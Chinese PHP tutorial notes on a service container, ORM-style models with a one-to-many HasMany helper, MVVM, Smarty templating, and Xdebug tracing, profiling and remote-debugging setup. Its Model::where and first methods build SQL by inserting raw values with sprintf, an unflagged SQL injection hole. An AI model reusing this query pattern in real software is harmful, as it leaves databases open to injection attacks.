希望整个工程项目中,DB类,Session类,FileSystem类"拿来即用",不用每次繁琐的初始化,比如写$db=new DB(arg1,arg2);这类语句,也希望DB等类型的对象像一个"全局"变量一般,在整个程序运行期间,随时可以调用。
服务容器可以让调用DB等类型的程序员不用知道这个类太多的细节,甚至可以用一个字符串的别名来创建这样一个对象。
定义一个服务容器类
class Container{
public $bindings;
public function bind($abstract,$concrete){
$this->bindings[$abstract]=$concrete;
}
public function make($abstract,$parameters=[]){
return call_user_func_array($this->bindings[$abstract],$parameters);
}
}
可以把服务容器简单的看成一个全局变量,bind方法就是用关联数组把字符串和构造函数做绑定。
有了服务容器,Model类就要做修改了,同时用了单例模式和服务容器
class Model implements IModel{
public static $table;
public static $container;
public static $db;
public function __construct(){
self::$container=new Container();
self::$container->bind('db',function(){
return MySQL::getInstance();
});
self::$db=self::$container->make('db',[]);
}
public static function get($id){
return self::where('id',$id);
}
public static function where($condition,$value){
$sql=sprintf("select * from %s where %s='%s'",self::$table,$condition,$value);
return self::$db->Query($sql);
}
public static function all(){
$sql=sprintf("select * from %s",self::$table);
return self::$db->Query($sql);
}
}
模型关联
模型简单点说就是把数据库中这么多表抽象成若干个对象,使得开发的过程中不用再关心数据表的结构,而是专心类和对象的设计。
就拿在微信朋友圈发消息来说,这里涉及到了3个对象: 消息(纯文字,图片,或图文),点赞,评论
class MessageModel extends Model{
public static $data;
public static $name;
public $messageid;
public function __construct(){
parent::__construct();
$this::$name='message_list';
$this::$table='message';
}
}
class LikeModel extends Model{
public static $data;
public static $name;
public $likeid;
public function __construct(){
parent::__construct();
$this::$name='like_list';
$this::$table='messagelike';
}
}
class CommentModel extends Model{
public $commentid;
public function __construct(){
parent::__construct();
$this::$name='comment_list';
$this::$table='reply';
}
}
这是典型的"一对多"的模型,也就是一个Message对象对应了多个Like对象和Comment对象,而一个Like对象或Comment只对应了一个Message对象
用SQL中的where或join来查询需要拼接sql,关键是查询完得到的多维数组,还需要写一段代码来组装成对象数组
方案是每一个Model都实现这样的接口,让尽量少写select
public static function get($id){
return self::where('id',$id);
}
public static function where($condition,$value){
$sql=sprintf("select * from %s where %s='%s'",self::$table,$condition,$value);
return self::$db->Query($sql);
}
public static function first($num){
$sql=sprintf("select * from %s limit %s",self::$table,$num);
return self::$db->Query($sql);
}
public static function all(){
$sql=sprintf("select * from %s",self::$table);
return self::$db->Query($sql);
}
那如果要实现一对多怎么办?Laravel使用了trait特性,让Model来use这个特性。
这里简单的做一个函数:
public function HasMany(Model $model,$foreignkey){
for($i=0;$i < count($this::$data);++$i){
$this::$data[$i][$model::$name]=[];
for($j=0;$j < count($model::$data);++$j){
if($this::$data[$i][$foreignkey]==$model::$data[$j][$foreignkey]){
array_push($this::$data[$i][$model::$name],$model::$data[$j]);
}
}
}
}
对于三张数据表: Message,Like,Comment来说,Message的主键是msgid,而msgid同时也是Like和Comment这两张表格的外键,靠着外键,三张表形成了一对多的关系。
所以凭借这样的一个关联数组的操作,把Like和Comment数组作为一个关联数组的Value塞入Message数组中的一个元素。
最后测试一下效果: 使用JSON格式输出,结构一目了然,给前端调用也很便利
$messageModel=new MessageModel();
$messageModel::$data=$messageModel::all();
$likeModel=new LikeModel();
$likeModel::$data=$likeModel::all();
$commentModel=new CommentModel();
$commentModel::$data=$commentModel::all(10);
$messageModel->HasMany($likeModel,'msgid');
$messageModel->HasMany($commentModel,'msgid');
echo json_encode($messageModel::$data);
应用: Model外键链接
以三级行政区数据为例
id provinceid province
id cityid city provinceid
id areaid area cityid
在Model层建立三个Model
class ProvinceModel extends Model{
public static $data;
public static $name;
public function __construct(){
parent::__construct();
$this::$name='province_list'; //name of obj
$this::$table='china_province';
$this::$primary_key='provinceid';
}
}
class CityModel extends Model{
public static $data;
public static $name;
public function __construct(){
parent::__construct();
$this::$name='city_list';//name of obj
$this::$table='china_city';
$this::$primary_key='cityid';
}
}
class AreaModel extends Model{
public static $data;
public static $name;
public function __construct(){
parent::__construct();
$this::$name='area_list';//name of obj
$this::$table='china_area';
$this::$primary_key='areaid';
}
}
因为非常反感每次做外键链接时写不完的FOR循环和IF判断,所以做了个HasMany的一对多关系,增强代码复用性
在Controller层绑定关系
$province_model=new ProvinceModel();
$province_model::$data=$province_model::all();
$city_model=new CityModel();
$city_model::$data=$city_model::all();
$area_model=new AreaModel();
$area_model::$data=$area_model::all();
$city_model->HasMany($area_model,'cityid');
$province_model->HasMany($city_model,'provinceid');
MVVM
MVVM是Model-View-ViewModel的简写,本质上就是MVC的改进版,MVVM将其中的View的状态和行为抽象化,将视图UI和业务逻辑分开。当然这些事ViewModel已经做了,它可以取出Model的数据同时帮忙处理View中由于需要展示内容而涉及的业务逻辑 MVVM最早由微软提出来,它借鉴了桌面应用程序的MVC思想,在前端页面中把Model用纯JS对象表示,View负责显示,两者做到了最大限度的分离 把Model和View关联起来的就是ViewModel,ViewModel负责把Model的数据同步到View显示出来,还负责把View的修改同步回Model 需要用Js编写一个通用的ViewModel,这样就可以复用整个MVVM模型了 MVVM的设计思想: 关注Model的变化,让MVVM框架去自动更新DOM的状态,从而把开发者从操作DOM的繁琐步骤中解脱出来 绝大多数软件所做的工作无非就是从数据存储中读出数据展现到用户界面上,然后从用户界面接收输入写入到数据存储里面去,所以对于数据存储(model)和界面(view)这两层基本没什么异议,但如何把model展现到view上及如何把数据从view写入到model里,不同的人有不同的意见。 MVC的看法是界面上的每个变化都是一个事件,只需针对每个事件写一个controller把用户输入转换成model里的对象就行了 MVVM的看法是给view里面的各种控件也定义一个对应的数据对象,这样只要修改这个数据对象view里面显示的内容就自动跟着刷新,而在view里做了任何操作,这个数据对象也跟着自动更新。 ViewModel: 就是与界面(view)对应的Model。因为数据库结构往往是不能直接跟界面控件一一对应上的,所以需要再定义一个数据对象专门对应view上的控件。而ViewModel的职责就是把model对象封装成可以显示和接受输入的界面数据对象。至于viewmodel的数据随着view自动刷新,并且同步到model里去,这部分代码可以写成公用的框架,不用程序员自己操心了。 View层一般包含两个部分: View类和模版文件,View类并不是必需的,采用View类可以整合代码,因为有时候View层也会有一些复杂的逻辑和数据读取的操作,这些操作最好放在类或对象中实现,如果直接在模版文件中实现会让模版文件很凌乱,不利于代码复用和后期维护。 对于一个Web应用来说,整个应用的风格和页面布局需要保持一致,那么聪明的小伙伴是否联想到了代码复用?假如这个应用一共有200个页面,如何实现"只需在代码中修改一处就可以修改所有页面的共用部分?",这是一个非常重要的功能,要不然页面上每一个小改动都需要重复200次,其中难免出错,维护代价高昂。 简单的说,ViewModel就是View与Model的连接器,View与Model通过ViewModel实现双向绑定。
模板引擎 smarty
当前完全前后端分离的解决方案已经出现,前端三大框架(vuejs/React..等)都已经实现前端模板引擎了,所以基本PHP模板已经给取代了,减轻服务端压力
但如果要维护老项目,还需要用到PHP模板引擎,如果想简单快捷开发PC项目,使用PHP模板引擎是比较好的选择
PHP模板引擎实现原理
● 读取模板文件的内容
$content = file_get_contents($tmplFile);
● 使用正则表达式把模板语言替换为PHP语言
$repContent = preg_replace($pattern, $replacement, $content);
● 保存成新的.php文件
file_put_contents($comFile,$repContent);
● 最后把新生成的.php文件包含进来
include $comFilePath;
smarty是基于PHP开发的PHP模板引擎,提供逻辑与内容的分离,目的就是要使用PHP程序员同美工分离,使用的程序员改变程序的逻辑内容不会影响到美工的页面设计,美工重新修改页面不会影响到程序的程序逻辑,这在多人合作的项目中显的尤为重要
smarty模板技术可以让数据和视图进行分离,让视图中不能直接出现php代码,这样的话让前段页面的开发和后台数据的开发,可以双管齐下,同时进行
Smarty是业界最著名、功能最强大的一种PHP模板引擎。Smarty像PHP一样拥有丰富的函数库,从统计字数到自动缩进、文字环绕及正则表达式都可以直接使用,如果觉得不够,SMARTY还有很强的扩展能力,可以通过插件的形式进行扩充。Smarty也是一种自由软件,用户可以自由使用、修改及重新分发该软件
优点:
速度——相对于其他的模板引擎技术而言,采用Smarty编写的程序可以获得最大速度的提高
编译型——采用Smarty编写的程序在运行时要编译成一个非模板技术的PHP文件,该文件采用PHP与HTML混合的方式,在下一次访问模板时将Web请求直接转换到这个文件中,而不再进行模板重新编译(在源程序没有改动的情况下),使用后续的调用速度更快
缓存技术——Smarty提供了一种可选择使用的缓存技术,它可以将用户最终看到的HTML文件缓存成一个静态的HTML页面。当用户开启Smarty缓存时并在设定的时间内将用户的Web请求直接转换到这个静态的HTML文件中来,相当于调用静态的HTML文件
插件技术——Smarty模板引擎是采用PHP的面向对象技术实现,不仅可以在原代码中修改,还可以自定义一些功能插件(按规则自定义的函数)
强大的表现逻辑——在Smarty模板中能够通过条件判断以及迭代地处理数据,它实际上就是种程序设计语言,但语法简单,设计人员在不需要预备的编程知识前提下就可以很快学会
模板继承——模板的继承是Smarty3的新事物。在模板继承里将保持模板作为独立页面而不用加载其他页面,可以操纵内容块继承它们。这使得模板更直观、更有效和易管理
也有不适合使用Smarty的地方,例如需要实时更新的内容,需要经常重新编译模板,所以这类型的程序使用Smarty会使模板处理速度变慢
另外在小项目中也不适合使用Smarty模板,小项目因为项目简单而前端与后端兼于一人的项目,使用Smarty会在一定程度上丧失PHP开发迅速的优点
【 安装Smarty 】
从官网或github上下载资源包,将资源包中的类库目录libs放置在项目根目录方便使用
libs文件夹下共包含以下6个文件
Smarty.class.php(主文件)
SmartyBC.class.php(兼容其他版本Smarty)
sysplugins/* (系统函数插件)
plugins/* (自定义函数插件)
Autoloader.php
debug.tpl
【 使用 】
在项目根目录新建模板文件template.html
{$str} smarty模板引擎的默认左右定界符是左右大括号{},表示里面的内容需要smarty引擎解析,其中$str代表一个变量
在项目根目录新建index.php:
include_once 'libs/Smarty.class.php'; //引入smarty核心类
$s = new Smarty(); //实例化一个smarty对象
$s->assign('str','hello world'); //分配数据: 将'hello world'替换掉$str
$s->display('template.html'); //显示模板数据
smarty编译模板并在项目根目录的template_c目录下生成一个编译后的php文件,
最终会将页面解析成以下代码:
hello world
【 smarty简单配置 】
Smarty要求4个目录,默认下命名为:tempalates、templates_c、configs和cache,每个都是可以自定义的,可以分别修改Smarty类属性或相关方法:$template_dir、$compile_dir、$config_dir和$cache_dir
【 模板变量 】 smarty模板中的变量分三类 1、PHP分配变量,在assign方法分配的变量,assign一般会分配三种数据类型给模板使用 标量数据: 使用$变量名访问 数组数据: 使用变量名.下标或变量名.下标或变量名[下标]访问 对象数据: 使用$变量名->属性名访问
2、smarty保留变量,主要引用一些常用系统变量和smarty内部变量
GET数据: {$smart.get.下标}
POST数据: {$smart.post.下标}
Session数据: {$smart.session.下标}
Cookie数据: {$smart.cookie.下标}
REQUEST数据: {$smart.request.下标}
Server数据: {$smart.server.大写下标}
时间戳: {$smart.now}
模板路径: {$smart.current_dir}
模板名字: {$smart.template}
配置文件: {$smart.config.下标}
3、自定义变量: 在模板中定义变量并使用
语法: {assign var='变量名' value='变量值'}
{*声明自定义变量*}
{assign var='num' value='10086'}
{*使用自定义变量*}
{$num}
【 模板配置文件 】
配置文件格式: 可以直接使用txt文件
配置项格式: 配置名称 = 值
使用#代表注释,默认所有配置项都是全局的,[局部]代表局部访问
【 模板流程控制语法结构 】
判断:
{if 判断语句1}
分支1
{elseif 判断语句2}
分支2
{else}
分支3
{/if} 结束
循环:
{*形式1: 原始foreach模式*}
{foreach $arr as $var}
循环体
{/foreach} 结束
{*形式2: smarty专属模式*}
{foreach from=$arr key='键名' item='值名'}
循环体
{/foreach} 结束
{*使用以下方式也可以取得键名*}
{$值名@key}
smarty foreach循环可访问属性,使用$循环变量名@属性访问
index 当前数组索引(循环内部使用)
iteration 当前循环次数(循环内部使用)
first 首次循环(循环内部使用)
last 最后一次循环(循环内部使用)
show 循环是否执行判定: true表示有数据,false表示没数据(循环内外部都可以使用)
total foreach执行总次数(循环内外部都可以使用)
【 文件包含 】
{include file='filename'}
【 前端语法保护 】
smarty不会解析{literal}和{/literal}之间的代码,可以防止误解析
【 使用外部函数 】
smarty支持在定界符内直接使用系统函数和用户自定义函数,只要保证函数在内存中即可
xdebug extension for php - php调试 && phpunit
Xdebug是一个PHP扩展,安装配置好后,可以自动记录运行了哪些函数,用了多少毫秒,从哪个文件运行到哪个文件等等
它记下来的调试信息很详细,对一些复杂程序跟踪调试有很大的辅助效果,能明显快速地定位问题,缩短调试时间
【 具备的功能 】
代替php的错误提示:
在提示中加入配色以强调不同信息
大变量打印:
增强var_dump()、print_r()等打印函数的功能,在大变量打印时很有用,避免死机
最大递归保护:
可以设定最大递归次数限制,防止php卡死
函数调用追踪:
能追踪函数调用过程,显示传入和返回的值,内存用量等
代码覆盖分析:
可以找出代码运行时哪些行被执行了
垃圾回收分析:
在php执行垃圾回收时显示哪些变量被清理、多少内存被释放等信息
代码性能分析:
可以看出代码各部分的执行时间,找出代码运行效率的瓶颈
远程调试:
配合IDE工具进行远程断点调试,一步步追踪代码的执行,查看或设置运行中的各变量值,避免使用var_dump()、print_r()等函数,这也是xdebug最常被使用的功能,非常强大
【 添加xdebug扩展 】
1、查看是否安装了xdebug
执行phpinfo();
cmd> php -m
2、根据phpinfo()输出信息php版本、是否线程安全、位宽等确认xdebug dll文件的版本,将扩展文件放到php的ext目录
3、配置php.ini之后重启apache
;指定Xdebug扩展文件的绝对路径
zend_extension="E:/wamp64/bin/php/php5.6.16/zend_ext/php_xdebug-2.4.0rc2-5.6-vc11-x86_64.dll"
;启用代码自动跟踪
xdebug.auto_trace=on
;允许收集传递给函数的参数变量
xdebug.collect_params=On
;允许收集函数调用的返回值
xdebug.collect_return=On
;指定堆栈跟踪文件的存放目录
xdebug.trace_output_dir="E:/wamp64/tmp"
;启用性能检测分析
xdebug.profiler_enable=On
;指定性能分析文件的存放目录
xdebug.profiler_output_dir="E:/wamp64/tmp"
xdebug.profiler_output_name = "cachegrind.out.%p"
xdebug.remote_enable = On
【 xdebug配置 】
1、开启Xdebug方式的错误提示:
只要启用了xdebug扩展那么该功能是默认开启的,将以xdebug的风格进行错误显示,如果想以原php的风格显示可以在配置文件中设置: xdebug.default_enable=0,注意该设置项并不是指关闭xdebug的所有功能
2、配置大变量的显示:
在有些程序中变量会很大,比如著名内容管理系统drupal8中的节点渲染数组直接print_r那么可以将内存8G的I5计算机卡死,所以Xdebug提供了配置大变量打印配置以避免这种情况,配置以下配置项:
xdebug.var_display_max_children
整数,默认128,显示的数组子元素或对象属性的最大数量,不限制则设定为-1,远程调试时不受影响
xdebug.var_display_max_data
整数,默认512,显示字符串的最大长度,不限设置为-1,不影响远程调试
xdebug.var_display_max_depth
整数,默认3,显示数组或对象属性时的最大嵌套深度,最大1023,可以用-1指代这个最大数
3、最大递归保护:
xdebug.max_nesting_level
整数,默认为: 256,不限设置为-1,无限递归的保护机制,当递归调用达到该设定时程序被中断,注意此时不会出现任何错误提示,而是直接退出程序
4、函数调用追踪:
包括对象方法调用,该功能默认是关闭的,开启后将输出调用数据到一个文件,查看文件即可,配置如下
xdebug.auto_trace=1
;开启追踪,默认是关闭的
xdebug.trace_output_dir="C:\root\xdebug\trace"
;调用追踪数据输出目录
xdebug.trace_output_name="yunke.%s.%u"
;追踪文件的文件名
xdebug.collect_params=4
;收集函数参数的形式
xdebug.collect_return=1
;是否收集函数返回值
xdebug.show_mem_delta=1
;显示内存详情
xdebug.trace_format=0
;追踪文件的格式
以上设置将为所有请求产生分析文件,调用追踪分析还可以采用变量触发的方式(可通过浏览器扩展自动完成,这也是推荐方法,见下),也就是在GET/POST或cookie中设置变量名XDEBUG_TRACE,它的值是和以下设置项匹配的密钥,配置如下:
xdebug.auto_trace=0
;开启变量触发跟踪时自动跟踪需要关闭
xdebug.trace_enable_trigger=1
xdebug.trace_enable_trigger_value="yunke"
;这就是上述XDEBUG_TRACE变量的值
如访问网址: http://www.test.com/index.php?XDEBUG_TRACE=yunke,即可触发追踪文件的产生
这里"yunke"是一个密钥值,只有和配置文件匹配才能产生分析文件,默认为空字符
5、代码覆盖分析:
该功能检测代码执行中哪些行被执行到了,通常用于单元测试,配置如下:
xdebug.coverage_enable=1
;代码覆盖分析开启
代码覆盖分析是通过在php代码中调用函数来进行的,过程如下,那将得到一个数组结果:
xdebug_start_code_coverage();//开启覆写
…//被分析的一些代码
var_dump(xdebug_get_code_coverage());//得到一个分析结果数组
6、垃圾回收分析:
该功能默认是关闭的,开启后将输出垃圾回收分析数据到一个文件,查看文件即可,配置如下
xdebug.gc_stats_enable=1
;开启垃圾回收分析
xdebug.gc_stats_output_dir="C:\root\xdebug\gc"
;数据输出目录,默认是/tmp
xdebug.gc_stats_output_name="gcstats.%s.%u"
;输出文件名,默认是: gcstats.%p
7、程序性能分析:
该功能默认是关闭的,开启后将输出性能分析数据到一个文件,该文件是便于机器解析的文本格式,需要专用软件查看,配置如下
xdebug.profiler_enable=1
;开启性能分析
xdebug.profiler_output_dir="C:\root\xdebug\profiler"
;性能分析文件输出目录
xdebug.profiler_output_name="cachegrind.out.%s.%u"
;性能分析输出文件名
以上设置将为所有请求产生分析文件,性能分析还可以采用变量触发的方式(可通过浏览器扩展自动完成,这也是推荐方法,见下),也就是在GET/POST或cookie中设置变量名XDEBUG_PROFILE,它的值是和以下设置项匹配的密钥,配置如下:
xdebug.profiler_enable=0
;开启变量触发分析时自动分析需要关闭
xdebug.profiler_enable_trigger=1
xdebug.profiler_enable_trigger_value="yunke"
;这就是上述XDEBUG_PROFILE变量的值
即可触发分析文件的产生,如访问网址: http://www.test.com/index.php?XDEBUG_PROFILE=yunke
这里"yunke"是一个密钥值,只有和配置文件匹配才能产生分析文件,默认为空字符
在官网介绍了许多种软件来查看输出的分析文件,其中WinCacheGrind在小型程序分析中尚可,大型程序就力不从心了,甚至会出现错误,经云客测试采用QCacheGrind效果最好,它是KCacheGrind的Windows版本,这里对该软件做一个简单介绍:
打开后左边有一个"Flat Profile"面板,里面第一列"Incl."是执行时间,包括内部调用的子程序的时间;Self列是自身消耗的时间,不包括子函数调用;Called列是该函数被调用的次数;Function是函数名;Location列是文件位置;
时间是以微秒为单位1秒=1000000 微秒(μs),以可以采用百分比的方式
8、远程调试:
首先由浏览器附带特殊参数打开要调试的脚本,脚本开始运行,此时Xdebug会主动向配置好的调试客户端(调试客户端往往就是IDE如phpstorm,它需要监听调试网络端口)发起一个连接,并采用DBGp协议和调试客户端交互,调试客户端通过协议让Xdebug一步一步的执行代码,显示或设置程序中的变量内容,在每一步之间Xdebug将php程序挂起暂停执行,这个"步"又叫断点,调试客户端可以通过设置断点来让程序在该处暂停,对于调试客户端而言这又叫做断点调试,整个过程是Xdebug在php引擎里一步一步的执行代码并操作这个过程,她接收调试客户端的指令。
要进行远程调试具体操作如下,首先需要以下配置并重启php:
xdebug.remote_enable=1
;远程调试开关
xdebug.remote_host=localhost
;远程调试客户端主机地址,也就是IDE所在主机的地址,往往就是localhost
xdebug.remote_port=9000
;远程调试端口
配置好后在浏览器中打开脚本,打开时需要发送GET/POST变量名XDEBUG_SESSION_START或cookie变量名XDEBUG_SESSION,其值是Xdebug和调试客户端的通信会话id,往往是ide指定的一个特殊字符,如phpstorm指定为"PHPSTORM",该值可以在xdebug.idekey配置中设定,默认为空字符串;浏览器附加的参数可以通过浏览器扩展自动完成(见下);服务器收到请求后依据xdebug.remote_mode配置项的设定开始调试过程,该配置项如果是"req"那么脚本刚启动时Xdebug就向调试客户端(IDE)发起调试连接,这也是默认值,如果是"jit"那么仅在有错误出现时才发起连接,一旦和IDE的连接建立成功那么就采用DBGp协议进行调试交互。
如果服务器是被多个开发者共享的,那么调试客户机会有多个,而xdebug.remote_host配置项只能设定一个,此时可以将xdebug.remote_connect_back设定为1,那将采用从http头中获取的ip来作为调试客户机的地址。
Xdebug在发起调试连接时默认超时时间为200毫秒,该值在xdebug.remote_timeout配置项中设置,在本机调试该值足够了,如果是远程的网络主机那么需要加大该值以应对网络延迟。
浏览器插件辅助:
触发方式产生分析、追踪文件和开启远程调试都需要在GET/POST或cookie里面设置特定变量和值,那么能否让浏览器代劳呢,这是可以的,这里以开发者使用最多的火狐浏览器为列来说明:
先安装辅助插件,打开地址: https://addons.mozilla.org/en-GB/firefox/addon/xdebug-helper-for-firefox/
将看到Xdebug Helper for Firefox,点击Add to Firefox,按照提示操作即可
安装完成后需要进行配置: 按组合键"ctrl+shift+a"打开附加组件面板,找到Xdebug Helper,点击选项,分别输入IDE远程会话id、分析密钥、追踪密钥(对应配置中xdebug.idekey、xdebug.profiler_enable_trigger_value、xdebug.trace_enable_trigger_value),点击保存,此时新开网页的浏览器地址栏中将出现一个爬虫图标,可以选择四种状态: 调试、分析、追踪、禁用,前三种种状态下浏览器打开连接时会附带额外的cookie参数,比如我们选择分析,那么刷新连接时将在cookie中添加XDEBUG_PROFILE变量,值为前文设定的密钥值,这将让Xdebug产生分析文件,函数追踪和远程调试同理。
phpstorm调试:
Xdebug的远程调试是通过DBGp协议和调试客户端互动的过程,远程调试客户端需要监听网络端口以接收Xdebug发起的调试连接,这里以PhpStorm作为远程调试客户端来讲解具体操作。
PhpStorm是开发者常用ide,这里采用2017.2.4版本,以著名内容管理系统drupal8来说明调试过程,首先需要安装配置好Xdebug,主机选择: localhost,端口选择默认的9000,火狐浏览器安装了前一节提到的Xdebug Helper for Firefox扩展,然后打开PhpStorm建立的drupal项目,打开: file > Default Settings > Languages &Frameworks > PHP > Debug > Xdebug
端口设定为9000,其他配置项视情况选择,点击Apply和OK打开调试配置面板(Run > Edit Configurations),点击左上角加号选择PHP Web Application,输入调试名称drupal,点击Server一行的三个点号,打开服务器配置面板,输入服务器名称,url地址和端口,调试器选择Xdebug,路径映射不用勾选,点击应用ok,回到前一个面板,Start URL 输入"/",浏览器选择安装了Xdebug Helper for Firefox扩展的火狐,应用OK,
此时phpstorm界面右上角调试按钮一行的下拉菜单自动选择了刚刚建立的调试"drupal",点击电话图标(图标听筒变为在听状态)或点击菜单Run | Startlistenfor PHP Debug Connections开始监听9000端口,在index文件中设置一个断点(点击代码行号左侧的空白,出现红色圆点),好了一切准备就绪,下面打开火狐浏览器,将地址栏爬虫图标选择为"debug",打开一个drupal页面,此时phpstrom将打开左下角的调试面板,该面板提供了许多按钮以供你操作代码执行: 变量子面板列出了当前作用域所有的变量,在这里你可以查看所有的变量内容;Watches面板可以跟踪变量或表达式的内容;Frames面板列出当前行所在的调用堆栈帧。
phpstorm调试官方文档:
安装配置:
https://confluence.jetbrains.com/display/PhpStorm/Zero-configuration+Web+Application+Debugging+with+Xdebug+and+PhpStorm
调试操作:
https://confluence.jetbrains.com/display/PhpStorm/Using+the+PhpStorm+Debugger
注意调试开始后将停留在第一个断点所在位置,如果一个断点也没有设置,那么调试会话将立即结束,也可以设置调试停留在第一行代码上(选择Run > Break at first line in PHP scripts)。
如果调试过程中浏览器出现500错误,且调试连接断开,很可能是服务器将php程序终止了,如果是FastCGI 方式运行的Apache,错误日志类似为"End of script output before headers",请设置服务器配置文件httpd.conf中的FcgidIOTimeout、IPCCommTimeout 参数为希望的等待时间,单位为秒,其他环境请自行检查超时配置。
9、常用配置:
全部设置及详细见: https://xdebug.org/docs/all_settings
xdebug.trace_output_dir
函数调用跟踪数据文件的写入目录,默认为 /tmp,确保可写
xdebug.trace_output_name
追踪文件的文件名指引,默认为: trace.%c 比如: yunke.%s.%u 将输出带路径的脚步名及带微妙的时间,如下: yunke.C__root_test_index_php.1520473784_260486.xt
xdebug.auto_trace
开启函数调用追踪,布尔值,默认为0
xdebug.collect_assignments
布尔值,默认为0,是否在函数追踪中添加变量赋值
xdebug.collect_includes
布尔值,默认为1,是否将include(),include_once(),require() or require_once() 的文件写入追踪文件
xdebug.collect_params
整数,默认0,决定函数追踪的参数收集,0为不收集,1参数的类型和数量,2在1基础上加工具提示信息,3全变量内容(受到变量输出设置的影响),4全变量内容和变量名,5php序列化内容没有变量名
xdebug.collect_return
布尔值,默认0,是否写入函数调用的返回值到追踪文件
xdebug.show_mem_delta
整数,默认为0,非0值将显示函数调用的内存用量信息
xdebug.trace_format
整型,默认0,追踪文件的格式,0为人类可读格式(时间索引,内存用量等等)1机器易读格式2人类可读格式以网页展现
xdebug.trace_options
整数,默认为0,如果设置为1,那么追踪文件采用追加方式,而不是覆盖
xdebug.var_display_max_children
整数,默认128,显示的数组子元素或对象属性的最大数量,不限制设定为-1,远程调试时不受影响
xdebug.var_display_max_data
整数,默认512,显示字符串的最大长度,不限设置为-1,不影响远程调试
xdebug.var_display_max_depth
整数,默认3,显示数组或对象属性时的最大嵌套深度,最大1023,可以用-1指代这个最大数
xdebug.coverage_enable
布尔,默认为1,是否开启代码覆盖分析,云客实测该设置项无效,开启和得到分析结果需用函数
xdebug.gc_stats_enable
布尔值,默认为0,是否开启垃圾回收统计分析
xdebug.gc_stats_output_dir
垃圾统计分析的写入目录,注意权限
xdebug.gc_stats_output_name
垃圾分析文件的文件名,和追踪分析的文件名规则一样
xdebug.profiler_enable
整数,默认为0,为1时将开启性能分析功能
xdebug.profiler_aggregate
整数,默认0,非0时将多个请求的分析数据写入一个文件中以进行跨请求分析
xdebug.profiler_append
整数,默认0,分析文件是否采用追加模式,文件名的设定对该项有影响
xdebug.profiler_enable_trigger
整数,默认为0,采用触发模式开启分析功能,开启它时需要关闭xdebug.profiler_enable
xdebug.profiler_enable_trigger_value
字符串。默认为"",触发分析的密钥,配合xdebug.profiler_enable_trigger使用
xdebug.profiler_output_dir
字符串,默认为/tmp,分析文件输出目录
xdebug.profiler_output_name
分析文件名称,默认为cachegrind.out.%p,见xdebug.trace_output_name
xdebug.extended_info
整型,默认为1,是否强制php解析器执行extended_info模式
xdebug.idekey
字符串,默认: *complex*,调试会话id,经云客测试浏览器发送任意值均可开始调试,所以她并非密钥值,但有些调试客户端可以通过它来判断是否接受调试连接,所以最好统一
xdebug.remote_addr_header
默认为空字符串"",用以指定哪个http头代表调试客户端地址,和xdebug.remote_connect_back 组合使用
xdebug.remote_autostart
布尔值,默认0,通常使用特定变量开始远程调试,如果该项被设置为1,那么总是开启
xdebug.remote_connect_back
布尔值,默认0,解决多人调试问题,忽略设定的固定ip,指示服务器依据请求地址链接
xdebug.remote_cookie_expire_time
整数。默认3600,远程调试cookie超期时间
xdebug.remote_enable
布尔值,默认0,是否启用远程调试
xdebug.remote_host
字符串,默认: localhost,远程调试客户端的地址
xdebug.remote_log
字符串,默认空,远程调试日志文件名
xdebug.remote_mode
字符串,远程调试默认,req脚本一启动就链接,jit当错误发生时链接
xdebug.remote_port
远程调试端主机端口,默认9000
xdebug.remote_timeout
整数,默认200,单位毫秒,等待调试链接的时间
xdebug.default_enable
布尔值,1或0,开启以xdebug的方式进行错误提示,默认开启
xdebug.max_nesting_level
整数,默认为: 256,无限递归的保护机制,当递归调用达到该设定时程序被中断
xdebug.max_stack_frames
整数,默认值-1,设定错误提示时堆栈中有多少个帧被显示
xdebug.scream
布尔值,默认为0,是否禁用"@",以便错误被强制显示
10、xdebug扩展开启后php脚本中可以使用的函数: 全部请见https://xdebug.org/docs/all_functions
string xdebug_call_class( [int $depth = 1] ) 显示调用类
string xdebug_call_file( [int $depth = 1] ) 显示调用文件
string xdebug_call_function( [int $depth = 1] ) 返回调用函数
int xdebug_call_line( [int $depth = 1] ) 返回调用行
void xdebug_disable() 禁用堆栈跟踪
void xdebug_enable() 开启堆栈跟踪
bool xdebug_is_enabled() 检查堆栈跟踪是否被开启
string xdebug_get_collected_errors( [int clean] ) 从错误集缓冲中返回所有错误信息
array xdebug_get_headers() 返回header() 函数设置的所有头信息
nt xdebug_memory_usage() 返回内存使用量
nt xdebug_peak_memory_usage() 返回到目前为止脚本使用过的最大内存用量
void xdebug_start_error_collection() 收集错误并禁止显示
void xdebug_stop_error_collection() 停止错误记录,并从缓冲中收集
float xdebug_time_index() 返回当前点的执行时间,单位秒
【 设置文件名 】
#值为%R表示以请求地址来命名,这样不同地址就会有不同的调试信息文件,访问http://xxx.com/a.php就会产生_a_php.xt
而且同一个入口地址不同参数都会不同,访问http://xxx.com/a.php?x=y就会产生_a_php_x=y.xt这个文件
xdebug.trace_output_name="%R"
列出所有命名参数
参数 含义 例子 命名结果
%c
以URL中文件目录的CRC32运算结果命名
trace.%c
trace.1258863198.xt
%p
以进程PID命名
trace.%p
trace.5174.xt
%r
以随机数命名
trace.%r
trace.072db0.xt
%s
入口脚本名称,实际上我测试结果是不会生成文档,原因暂时不明
cachegrind.out.%s
cachegrind.out._home_httpd_html_test_xdebug_test_php
%t
以时间戳命名
trace.%t
trace.1179434742.xt
%u
以毫秒级时间戳命名
trace.%u
trace.1179434749_642382.xt
%H
以$_SERVER['HTTP_HOST']这个域名命名
trace.%H
trace.kossu.xt
%R
以$_SERVER['REQUEST_URI']这个URI部分命名
trace.%R
trace._test_xdebug_test_php_var=1_var2=2.xt
%U
以$_SERVER['UNIQUE_ID']这个唯一的请求ID来命名
trace.%U
trace.TRX4n38AAAEAAB9gBFkAAAAB.xt
%S
以session_id命名,但前提是cookie中有PHPSESSIONID
trace.%S
trace.c70c1ec2375af58f74b390bbdd2a679d.xt
%%
以两个百分号命名,我看不懂加这个命名方式有何意义,求教大神啊!
trace.%%
trace.%%.xt
4、运行php脚本之后会在xdebug.profiler_output_dir指定的目录中生成类似trace.3990549359.xt的文件
内容中每一行都显示了在哪个文件的哪一行执行了哪个函数
这个回溯追踪的好处是如果平时发现页面突然变空白了,怎么输出东西都看不见,于是只要通过这个回溯追踪调试,看看输出信息文件的最后几行调用的函数和文件行号你就大概知道出错位置在哪里了
最后提醒:它只记录有函数执行的地方,没有函数执行的地方是不会记录的,比如echo,include,isset等语句是不会记录的,所以也能从中确认哪些是函数,哪些是语句了
【 手动触发记录 】
1、请求参数触发
如果配置xdebug.auto_trace=on的话,运行任何PHP文件都会产生回溯记录
